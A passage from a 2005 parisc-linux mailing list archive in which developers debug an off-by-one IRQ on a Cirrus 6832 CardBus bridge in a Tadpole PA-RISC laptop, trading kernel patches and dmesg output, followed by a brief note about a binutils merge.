>  "or our algorithm for routing IRQ_PIN to INTERRUPT_LINE routing is broken."

Right now, I can't convinced myself this is a PDC bug on platforms
with built-in Dino.  PDC fills in PCI_INTERRUPT_LINE (becomes pci_dev->irq)
value with the DINO input Interrupt Line (ie index into dino->global_irq[]).
This is used by dino code instead of a "Routing Table".

Other parisc boxes and most architectures use some form of
"IRQ Line Routing Table" to communicate PCI device IRQ_PIN output
to Interrupt Controller input lines mappings to the OS.

But other PCI LAN and SCSI cards work fine under built-in Dino AFAIK.
That's why I'm not sure about the scope of the problem.

> Based on that I just created the attached patch.
> With it pcmcia now works for me.

Yeah, the patch looks fine to me.
I'd just like confirmation that C3000 has the same problem before
I forget how all this works again.

If it doesn't, then we need to figure out how to make this
a dino specific "quirk".

> Maybe you have an idea if something in dino is wrong ?

I don't think there is anything wrong with dino.
Otherwise other cards wouldn't work right either.

thanks,
grant

> 
> Helge
> 
> dmesg:
> PCI: Cirrus Cardbus IRQ fixup for 0000:00:02.0, from 25 to 24 (old native irq=2)
> Yenta: CardBus bridge found at 0000:00:02.0 [0000:0000]
> PCI: Bus 1, cardbus bridge: 0000:00:02.0
>   IO window: 00000400-000005ff
>   IO window: 00000800-000009ff
>   PREFETCH window: f0c00000-f0ffffff
>   MEM window: f0900000-f09fffff
> Yenta: ISA IRQ mask 0x0000, PCI irq 24
> Socket status: 30000007
> pcmcia: parent PCI bridge I/O window: 0x0 - 0xffff
> pcmcia: parent PCI bridge Memory window: 0xf0800000 - 0xf0ffffff
> PCI: Cirrus Cardbus IRQ fixup for 0000:00:02.1, from 26 to 25 (old native irq=3)
> Yenta: CardBus bridge found at 0000:00:02.1 [0000:0000]
> PCI: Bus 5, cardbus bridge: 0000:00:02.1
>   IO window: 00000c00-00000dff
>   IO window: 00001000-000011ff
>   PREFETCH window: f0a00000-f0afffff
>   MEM window: f0b00000-f0bfffff
> Yenta: ISA IRQ mask 0x0000, PCI irq 25
> Socket status: 30000007
> pcmcia: parent PCI bridge I/O window: 0x0 - 0xffff
> pcmcia: parent PCI bridge Memory window: 0xf0800000 - 0xf0ffffff
> ds: ds_open(socket 0)

> Index: quirks.c
> ===================================================================
> RCS file: /var/cvs/linux-2.6/drivers/pci/quirks.c,v
> retrieving revision 1.35
> diff -u -p -r1.35 quirks.c
> --- quirks.c	12 Nov 2005 04:08:03 -0000	1.35
> +++ quirks.c	11 Dec 2005 22:22:58 -0000
> @@ -862,6 +862,28 @@ static void __init quirk_eisa_bridge(str
>  DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_INTEL,	PCI_DEVICE_ID_INTEL_82375,	quirk_eisa_bridge );
>  
>  /*
> + * Cirrus 6832 Cardbus reports wrong irq on RDI Tadpole PARISC Laptop.
> + */
> +#if defined(CONFIG_PARISC)
> +static void __devinit quirk_hp_cardbus(struct pci_dev *dev)
> +{
> +        u8 irq, new_irq;
> +
> +	new_irq = dev->irq - 1;
> +        pci_read_config_byte(dev, PCI_INTERRUPT_LINE, &irq);
> +
> +	printk(KERN_ERR "PCI: Cirrus Cardbus IRQ fixup for %s, from %d to %d (old native irq=%d)\n",
> +                        pci_name(dev), dev->irq, new_irq, irq);
> +	dev->irq = new_irq;
> +
> +	udelay(15);     /* unknown if delay really needed */
> +	pci_write_config_byte(dev, PCI_INTERRUPT_LINE, new_irq);
> +
> +}
> +DECLARE_PCI_FIXUP_ENABLE(PCI_VENDOR_ID_CIRRUS,	PCI_DEVICE_ID_CIRRUS_6832,	quirk_hp_cardbus );
> +#endif
> +
> +/*
>   * On ASUS P4B boards, the SMBus PCI Device within the ICH2/4 southbridge
>   * is not activated. The myth is that Asus said that they do not want the
>   * users to be irritated by just another PCI Device in the Win98 device

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Mon, 12 Dec 2005 08:45:08 -0600
Lines: 133
Approved: news@gmane.org
Message-ID: <1134398708.9994.3.camel@mulgrave>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<200512111955.09892.deller@gmx.de> <1134333477.3367.16.camel@mulgrave>
	<200512112335.03032.deller@gmx.de>
	<20051212073003.GA15901@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623952 17359 80.91.229.3 (22 Nov 2014 02:39:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:12 +0000 (UTC)
Cc: Russell King <rmk+pcmcia@arm.linux.org.uk>,
 parisc-linux@lists.parisc-linux.org,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Dec 2005 14:46:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 12 Dec 2005 15:46:10 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCAFF7D6F3;
	Mon, 12 Dec 2005 07:46:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04326-01; Mon, 12 Dec 2005 07:46:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3BA897D6D3;
	Mon, 12 Dec 2005 07:46:00 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C3BFE7D693
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Dec 2005 07:45:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03919-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Dec 2005 07:45:57 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id EB6537D692
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Dec 2005 07:45:56 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	jBCEjJ211948; Mon, 12 Dec 2005 09:45:19 -0500
In-Reply-To: <20051212073003.GA15901@colo.lackof.org>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Y+jvYwU/eSEkTr6WZHQhaXN1IGRvb0Ce
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23250

On Mon, 2005-12-12 at 00:30 -0700, Grant Grundler wrote:
> Before I propose the quirk to linux-pci, I need to know the scope of the
> problem. Is this a problem only for that PCI slot on that box, for any
> slot under dino, any PARISC PCI, or any PCI platform?

Actually, that's the problem.  This device is a built in PCI<->PCMCIA
bridge in the tadpole.  I'm the one with the PCI<->PCMCIA card, and that
doesn't need this quirk.  So, as far as we know (until someone tries
other PCI<->PCMCIA cards) this is the only quirk needed.

So perhaps we should do it in dino_fixup_bus() instead.

James


> For starters, can someone test this on same card on a C3000 or A500?
> Both of those use a routing table instead of magic values in PCI device
> config registers.
> 
> # lspci -vs 00:02.0
> 0000:00:02.0 CardBus bridge: Cirrus Logic PD 6832 PCMCIA/CardBus Ctrlr (rev c1)
> 	Flags: bus master, medium devsel, latency 168, IRQ 25
> 	Memory at f0800000 (32-bit, non-prefetchable) [size=4K]
> 	Bus: primary=00, secondary=01, subordinate=04, sec-latency=176
> 	Memory window 0: f0c00000-f0fff000
> 	Memory window 1: f0900000-f09ff000
> 	I/O window 0: 00000400-000005ff
> 	I/O window 1: 00000800-000009ff
> 	16-bit legacy interface ports at 0001
> 
> >  "or our algorithm for routing IRQ_PIN to INTERRUPT_LINE routing is broken."
> 
> Right now, I can't convinced myself this is a PDC bug on platforms
> with built-in Dino.  PDC fills in PCI_INTERRUPT_LINE (becomes pci_dev->irq)
> value with the DINO input Interrupt Line (ie index into dino->global_irq[]).
> This is used by dino code instead of a "Routing Table".
> 
> Other parisc boxes and most architectures use some form of
> "IRQ Line Routing Table" to communicate PCI device IRQ_PIN output
> to Interrupt Controller input lines mappings to the OS.
> 
> But other PCI LAN and SCSI cards work fine under built-in Dino AFAIK.
> That's why I'm not sure about the scope of the problem.
> 
> > Based on that I just created the attached patch.
> > With it pcmcia now works for me.
> 
> Yeah, the patch looks fine to me.
> I'd just like confirmation that C3000 has the same problem before
> I forget how all this works again.
> 
> If it doesn't, then we need to figure out how to make this
> a dino specific "quirk".
> 
> > Maybe you have an idea if something in dino is wrong ?
> 
> I don't think there is anything wrong with dino.
> Otherwise other cards wouldn't work right either.
> 
> thanks,
> grant
> 
> > 
> > Helge
> > 
> > dmesg:
> > PCI: Cirrus Cardbus IRQ fixup for 0000:00:02.0, from 25 to 24 (old native irq=2)
> > Yenta: CardBus bridge found at 0000:00:02.0 [0000:0000]
> > PCI: Bus 1, cardbus bridge: 0000:00:02.0
> >   IO window: 00000400-000005ff
> >   IO window: 00000800-000009ff
> >   PREFETCH window: f0c00000-f0ffffff
> >   MEM window: f0900000-f09fffff
> > Yenta: ISA IRQ mask 0x0000, PCI irq 24
> > Socket status: 30000007
> > pcmcia: parent PCI bridge I/O window: 0x0 - 0xffff
> > pcmcia: parent PCI bridge Memory window: 0xf0800000 - 0xf0ffffff
> > PCI: Cirrus Cardbus IRQ fixup for 0000:00:02.1, from 26 to 25 (old native irq=3)
> > Yenta: CardBus bridge found at 0000:00:02.1 [0000:0000]
> > PCI: Bus 5, cardbus bridge: 0000:00:02.1
> >   IO window: 00000c00-00000dff
> >   IO window: 00001000-000011ff
> >   PREFETCH window: f0a00000-f0afffff
> >   MEM window: f0b00000-f0bfffff
> > Yenta: ISA IRQ mask 0x0000, PCI irq 25
> > Socket status: 30000007
> > pcmcia: parent PCI bridge I/O window: 0x0 - 0xffff
> > pcmcia: parent PCI bridge Memory window: 0xf0800000 - 0xf0ffffff
> > ds: ds_open(socket 0)
> 
> > Index: quirks.c
> > ===================================================================
> > RCS file: /var/cvs/linux-2.6/drivers/pci/quirks.c,v
> > retrieving revision 1.35
> > diff -u -p -r1.35 quirks.c
> > --- quirks.c	12 Nov 2005 04:08:03 -0000	1.35
> > +++ quirks.c	11 Dec 2005 22:22:58 -0000
> > @@ -862,6 +862,28 @@ static void __init quirk_eisa_bridge(str
> >  DECLARE_PCI_FIXUP_HEADER(PCI_VENDOR_ID_INTEL,	PCI_DEVICE_ID_INTEL_82375,	quirk_eisa_bridge );
> >  
> >  /*
> > + * Cirrus 6832 Cardbus reports wrong irq on RDI Tadpole PARISC Laptop.
> > + */
> > +#if defined(CONFIG_PARISC)
> > +static void __devinit quirk_hp_cardbus(struct pci_dev *dev)
> > +{
> > +        u8 irq, new_irq;
> > +
> > +	new_irq = dev->irq - 1;
> > +        pci_read_config_byte(dev, PCI_INTERRUPT_LINE, &irq);
> > +
> > +	printk(KERN_ERR "PCI: Cirrus Cardbus IRQ fixup for %s, from %d to %d (old native irq=%d)\n",
> > +                        pci_name(dev), dev->irq, new_irq, irq);
> > +	dev->irq = new_irq;
> > +
> > +	udelay(15);     /* unknown if delay really needed */
> > +	pci_write_config_byte(dev, PCI_INTERRUPT_LINE, new_irq);
> > +
> > +}
> > +DECLARE_PCI_FIXUP_ENABLE(PCI_VENDOR_ID_CIRRUS,	PCI_DEVICE_ID_CIRRUS_6832,	quirk_hp_cardbus );
> > +#endif
> > +
> > +/*
> >   * On ASUS P4B boards, the SMBus PCI Device within the ICH2/4 southbridge
> >   * is not activated. The myth is that Asus said that they do not want the
> >   * users to be irritated by just another PCI Device in the Win98 device

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] PCMCIA: Disable probing on parisc
Date: Mon, 12 Dec 2005 22:17:16 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <200512122217.16864.deller@gmx.de>
References: <20051204060423.GA12355@quicksilver.road.mcmartin.ca>
	<20051212073003.GA15901@colo.lackof.org>
	<1134398708.9994.3.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_cjenDehzQq+DPF5"
X-Trace: ger.gmane.org 1416623953 17363 80.91.229.3 (22 Nov 2014 02:39:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:13 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 Russell King <rmk+pcmcia@arm.linux.org.uk>,
 linux-pcmcia@lists.infradead.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Dec 2005 21:18:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 12 Dec 2005 22:18:38 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED6EB7D6B1;
	Mon, 12 Dec 2005 14:18:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06740-06; Mon, 12 Dec 2005 14:18:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA2907D6B3;
	Mon, 12 Dec 2005 14:18:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 90F547D688
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Dec 2005 14:18:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06740-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Dec 2005 14:18:27 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.21])
	by free.linux.hp.com (Postfix) with SMTP id 8CA6D7D675
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Dec 2005 14:18:26 -0700 (MST)
Original-Received: (qmail invoked by alias); 12 Dec 2005 21:18:25 -0000
Original-Received: from p54AD1551.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.21.81]
	by mail.gmx.net (mp031) with SMTP; 12 Dec 2005 22:18:25 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <1134398708.9994.3.camel@mulgrave>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eIzvY35aeSEkM76WZHQhaXN1IGRvbwCL
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23251

--Boundary-00=_cjenDehzQq+DPF5
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Monday 12 December 2005 15:45, James Bottomley wrote:
> On Mon, 2005-12-12 at 00:30 -0700, Grant Grundler wrote:
> > Before I propose the quirk to linux-pci, I need to know the scope of the
> > problem. Is this a problem only for that PCI slot on that box, for any
> > slot under dino, any PARISC PCI, or any PCI platform?
> 
> Actually, that's the problem.  This device is a built in PCI<->PCMCIA
> bridge in the tadpole.  I'm the one with the PCI<->PCMCIA card, and that
> doesn't need this quirk.  So, as far as we know (until someone tries
> other PCI<->PCMCIA cards) this is the only quirk needed.
> 
> So perhaps we should do it in dino_fixup_bus() instead.

I agree. As long as we don't know if this is a generic cirrus/parisc/dino problem I think it's not good to add code to the generic drivers/pci.c driver.
Furthermore, since I don't think there are many people out there who have the possibility to test cirrus pcmcia hw on parisc I would propose to put the (temporary) quirk in drivers/parisc/dino.c instead.
Attached is a patch for this parisc-specific quirk which works for me. 
Ok to commit to the local parisc CVS tree ?

Helge

BTW, I tested the orinoco_cs and ide_cs drivers. Both worked like a charm out of the box on my tadpole laptop (B160L) :-)

--Boundary-00=_cjenDehzQq+DPF5
Content-Type: text/plain;
  charset="utf-8";
  name="diff2"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="diff2"

Index: drivers/parisc/dino.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/dino.c,v
retrieving revision 1.36
diff -u -p -r1.36 dino.c
--- drivers/parisc/dino.c	11 Dec 2005 20:25:11 -0000	1.36
+++ drivers/parisc/dino.c	12 Dec 2005 21:10:14 -0000
@@ -436,6 +436,21 @@ static void dino_choose_irq(struct paris
 	dino_assign_irq(dino, irq, &dev->irq);
 }
 
+
+/*
+ * Cirrus 6832 Cardbus reports wrong irq on RDI Tadpole PARISC Laptop (deller@gmx.de)
+ * (the irqs are off-by-one, not sure yet if this is a cirrus, dino-hardware or dino-driver problem...)
+ */
+static void __devinit quirk_cirrus_cardbus(struct pci_dev *dev)
+{
+	u8 new_irq = dev->irq - 1;
+	printk(KERN_INFO "PCI: Cirrus Cardbus IRQ fixup for %s, from %d to %d\n",
+			pci_name(dev), dev->irq, new_irq);
+	dev->irq = new_irq;
+}
+DECLARE_PCI_FIXUP_ENABLE(PCI_VENDOR_ID_CIRRUS, PCI_DEVICE_ID_CIRRUS_6832, quirk_cirrus_cardbus );
+
+
 static void __init
 dino_bios_init(void)
 {

--Boundary-00=_cjenDehzQq+DPF5
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_cjenDehzQq+DPF5--



From - Thu Nov 08 21:34:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Merged new binutils.
Date: Tue, 13 Dec 2005 16:38:26 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20051213213825.GY1298@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623953 17367 80.91.229.3 (22 Nov 2014 02:39:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:13 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Dec 2005 21:38:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 13 Dec 2005 22:38:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32BA37D735;
	Tue, 13 Dec 2005 14:38:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18378-04; Tue, 13 Dec 2005 14:38:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9006C7D738;
	Tue, 13 Dec 2005 14:38:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 94A317D70A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 14:38:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18268-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 14:38:28 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 023AE7D708
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Dec 2005 14:38:28 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1EmHqs-0007bY-00; Tue, 13 Dec 2005 16:38:26 -0500
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (11% Sync Ratio [=.........])
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NlrtY2odeSEkO76WZHQhaXN1IGRvbwAt
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23252


jda, randolph,

I merged a new binutils into cvs.parisc-linux.org. Anyone want to take a
look at why we have 38 regressions in ld?

This is probably my fault :)

Cheers,
Carlos.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Merged new binutils.
Date: Tue, 13 Dec 2005 17:08:48 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200512132208.jBDM8mNG013383@hiauly1.hia.nrc.ca>
References: <20051213213825.GY1298@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623953 17369 80.91.229.3 (22 Nov 2014 02:39:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:13 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Dec 2005 22:08:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 13 Dec 2005 23:08:59 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1622E7D757;
	Tue, 13 Dec 2005 15:08:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18683-09; Tue, 13 Dec 2005 15:08:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5FC947D750;
	Tue, 13 Dec 2005 15:08:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BF687D651
	for <parisc-linux@lists.parisc-linux.org>;
